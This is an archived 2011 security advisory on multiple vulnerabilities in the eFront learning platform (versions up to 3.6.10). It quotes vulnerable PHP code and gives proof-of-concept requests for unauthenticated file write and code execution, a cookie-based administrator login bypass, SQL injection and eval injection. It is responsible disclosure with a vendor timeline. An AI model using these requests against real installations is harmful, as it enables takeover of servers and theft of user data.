eFront <= 3.6.10 (build 11944) Multiple Security Vulnerabilities

2011-11-06T00:00:00
ID SECURITYVULNS:DOC:27271
Type securityvulns
Reporter Securityvulns
Modified 2011-11-06T00:00:00

Description


eFront <= 3.6.10 (build 11944) Multiple Security Vulnerabilities


author.............: EgiX mail...............: n0b0d13s[at]gmail[dot]com software link......: http://www.efrontlearning.net/ tested versions....: 3.6.7 - 3.6.9 - 3.6.10

+-----------------------+ | Remote Code Execution | +-----------------------+

The vulnerable code is located in /www/editor/tiny_mce/plugins/save_template/save_template.php

  1. if ($_POST['templateName']) {
  2. $dir = '../../../../content/editor_templates/'.$_SESSION['s_login'];
  3. if (!is_dir($dir) && !mkdir($dir, 0755)) {
  4. throw new Exception(_COULDNOTCREATEDIRECTORY);
  5. }
  6. $filename = $dir.'/'.$_POST['templateName'].'.html';
  7. $templateContent = $_POST['templateContent'];
  8. if(file_exists($filename) === false) {
  9. $ok = file_put_contents($filename, $templateContent);
  10. chmod($filename, 0644);

Input passed through $_POST['templateName'] and $_POST['templateContent'] isn't sanitized before being used in a call to file_put_contents() at line 17, this can be exploited to write arbitrary PHP code in a file with .php extension also if magic_quotes_gpc = on. Proof of concept request:

POST /efront/www/editor/tiny_mce/plugins/save_template/save_template.php HTTP/1.1 Host: localhost Content-Length: 60 Content-Type: application/x-www-form-urlencoded Connection: keep-alive

templateName=sh.php%00&templateContent=<?php evil_code(); ?>

Successful exploitation of this vulnerability doesn't require authentication.

+--------------------------+ | Unrestricted File Upload | +--------------------------+

The vulnerable code is located in /libraries/filesystem.class.php

  1. public static function checkFile($name) {
  2. if ($GLOBALS['configuration']['file_black_list'] != '') {
  3. $blackList = explode(",", $GLOBALS['configuration']['file_black_list']);
  4. } else {
  5. $blackList = array();
  6. }
  7. $blackList[] = 'php';
  8. $extension = pathinfo($name, PATHINFO_EXTENSION);
  9. foreach ($blackList as $value) {
  10. if ($extension == trim(mb_strtolower($value))) {
  11. throw new EfrontFileException(_YOUCANNOTUPLOADFILESWITHTHISEXTENSION.': '.$extension, EfrontFileException::FILE_IN_BLACK_LIST);
  12. }

The FileSystemTree::uploadFile() method handles all uploads and It uses checkFile() method to verify the extension of the uploaded file. Here is compared the uploaded file extension with every extension in the 'file_black_list' array, that is constructed by this default configuration: "php,php3,jsp,asp,cgi,pl,exe,com,bat" and, as you can see, It doesn't contains others dangerous extension like phtml, pwml, php4, php5, inc.. But the really problem is that at line 3152 the uploaded file extension is simply compared with == operator, so an attacker could be able to upload for e.g. an avatar with .PHP extension. This is possible only if 'file_white_list' configuration is blank (such as by default).

+-----------------------------------+ | SQL Injection in UPDATE statement | +-----------------------------------+

First look at the getUserTimeTarget() function defined into /libraries/tools.php

  1. function getUserTimeTarget($url) {
  2. //return $_SESSION['s_time_target'];
  3. if (isset($_SESSION['s_lessons_ID']) && $_SESSION['s_lessons_ID']) {
  4. $entity = array($_SESSION['s_lessons_ID'] => 'lesson');
  5. } else {
  6. $entity = array(0 => 'system');
  7. }
  8. $urlParts = parse_url($url);
  9. $queryParts = explode('&', $urlParts['query']);
  10. foreach($queryParts as $part) {
  11. $result = explode("=", $part);
  12. switch ($result[0]) {
  13. case 'view_unit':
  14. case 'package_ID': $entity = array($result[1] => 'unit'); break;
  15. default: break;
  16. }
  17. }
  18. return $entity;
  19. }

It parses the given URL, and if in the query string is defined a 'package_ID' variable his content is used as a key for the $entity array. Now look the vulnerable code located in /www/periodic_updater.php

  1. if ($_SESSION['s_login']) {
  2. $entity = getUserTimeTarget($_GET['HTTP_REFERER']);
  3. //$entity = $_SESSION['s_time_target'];
  4. //Update times for this entity
  5. $result = eF_executeNew("update user_times set time=time+(".time()."-timestamp_now),timestamp_now=".time()."
  6. where session_expired = 0 and session_custom_identifier = '".$_SESSION['s_custom_identifier']."' and users_LOGIN = '".$_SESSION['s_login']."'
  7. and entity = '".current($entity)."' and entity_id = '"key($entity)."'");

Input passed through $_GET['HTTP_REFERER'] is passed to getUserTimeTarget() function at line 33 and the return value is used in call to eF_executeNew() at line 38. So an attacker could request an URL like this to inject arbitrary SQL code:

http://localhost/efront/www/periodic_updater.php?HTTP_REFERER=http://host/?package_ID=[SQL]

In older version input is taken from $_SERVER['HTTP_REFERER'] instead of $_GET['HTTP_REFERER'], but is still vulnerable. Successful exploitation of this vulnerability requires authentication.

+---------------+ | SQL Injection | +---------------+

The vulnerable code is located in /www/js/LMSFunctions.php

  1. /These lines read SCO data for this student and pass them to the javascript code through the LMSToSCOValues variable/
  2. $result = eF_getTableData("scorm_data", "*", "users_LOGIN = '".$_SESSION['s_login']."' AND content_ID = '".$_GET['view_unit']."'");
  3. sizeof($result) ? $LMSToSCOValues = $result[0] : $LMSToSCOValues = array();

Input passed through $_GET['view_unit'] isn't properly sanitized before being used in a call to eF_getTableData() function at line 14, this can be exploited to inject arbitrary SQL code. Successful exploitation of this vulnerability doesn't require authentication or magic_quotes_gpc = off.

+---------------+ | SQL Injection | +---------------+

The vulnerable code is located in /www/send_notifications.php

  1. } else if (isset($_GET['sent_notification_id'])) {
  2. $sent_notification = eF_getTableData("sent_notifications", "*", "id = " . $_GET['sent_notification_id']);
  3. if (!empty ($sent_notification)) {

Input passed through $_GET['sent_notification_id'] isn't properly sanitized before being used in a call to eF_getTableData() function at line 70, this can be exploited to inject arbitrary SQL code. Successful exploitation of this vulnerability doesn't require authentication or magic_quotes_gpc = off.

+------------------------------------------------+ | Authentication Bypass and Privilege Escalation | +------------------------------------------------+

The vulnerable code is located in /www/index.php

  1. if (isset($_COOKIE['cookie_login']) && isset($_COOKIE['cookie_password'])) {
  2. try {
  3. $user = EfrontUserFactory :: factory($_COOKIE['cookie_login']);
  4. $user -> login($_COOKIE['cookie_password'], true);

Input passed through $_COOKIE['cookie_login'] isn't properly sanitized before being used at line 208 to instanciate a new user object using EfrontUserFactory::factory() method, this can be exploited to bypass authentication and to escalate privilege. Proof of concept request:

GET /efront/www/index.php HTTP/1.1 Host: localhost Cookie: cookie_login[login]=admin;cookie_login[active]=1;cookie_login[user_type]=administrator;cookie_login[password]=1;cookie_password=1 Connection: keep-alive

+--------------------+ | PHP Code Injection | +--------------------+

The vulnerable code is located in /www/student.php

  1. if (isset($_GET['course']) || isset($_GET['from_course'])) {
  2. if ($_GET['course']) {
  3. $course = new EfrontCourse($_GET['course']);
  4. } else {
  5. $course = new EfrontCourse($_GET['from_course']);
  6. }
  7. $eligibility = $course -> checkRules($_SESSION['s_login']);

Input passed through $_GET['course'] (or $_GET['from_course']) isn't properly sanitized before being used to instantiate a new EfrontCourse object, this can be exploited to inject and execute arbitrary PHP code because of EfrontCourse::checkRules() method calls eval() function using the 'rules' object's property (see /libraries/course.class.php near lines 3638-3645). Successful exploitation of this vulnerability requires at least a student account with at least one completed lesson. Proof of concept request:

/student.php?lessons_ID=1&course[id]=1&course[directions_ID]=1&course[rules]=a:1:{s:19:"1];phpinfo();die;/*";a:1:{s:6:"lesson";i:0;}}

[-] Conclusion:

The latest two vulnerabilities emphasizes a critical design flaw. To understand what I means look at the constructor method of EfrontEntity (a generic class used as parent for some objects):

  1. public function __construct($param) {
  2. if (!$this -> entity) {
  3. $this -> entity = strtolower(str_replace('Efront', '', get_class($this)));
  4. }
  5. if (!is_array($param)) {
  6. if (!eF_checkParameter($param, 'id')) {
  7. throw new EfrontEntityException(_INVALIDID.': '.$param, EfrontEntityException :: INVALID_ID);
  8. }
  9. $result = eF_getTableData($this -> entity, "*", "id=$param");
  10. if (sizeof($result) == 0) {
  11. throw new EfrontEntityException(_ENTITYNOTFOUND.': '.htmlspecialchars($param), EfrontEntityException :: ENTITY_NOT_EXIST);
  12. }
  13. $this -> {$this -> entity} = $result[0];
  14. } else {
  15. $this -> {$this -> entity} = $param;
  16. }
  17. }

If the $param variable is an array, It's used to initialize all the object properties and this mechanism is used in almost all classes. So everytime in the code will appear something like

$object = new EfrontObject($_GET['param']);

and $_GET['param'] isn't properly sanitized, there is an high probability to lead in bugs such as SQL Injection, PHP Code Injection, LFI etc... because an attacker could pass parameter in array form and so he might be able to change the internal property of the objects with arbitrary data. So I think that could there be some other bugs, for this reason I would recommend to the eFront developers a complete source code review focused on security.

[-] Disclosure timeline:

[08/10/2011] - Vulnerabilities discovered [09/10/2011] - Others vulnerabilities discovered [11/10/2011] - Issues reported to http://bugs.efrontlearning.net/browse/EF-675 [26/10/2011] - Vendor update released: http://forum.efrontlearning.net/viewtopic.php?t=3501 [27/10/2011] - Public disclosure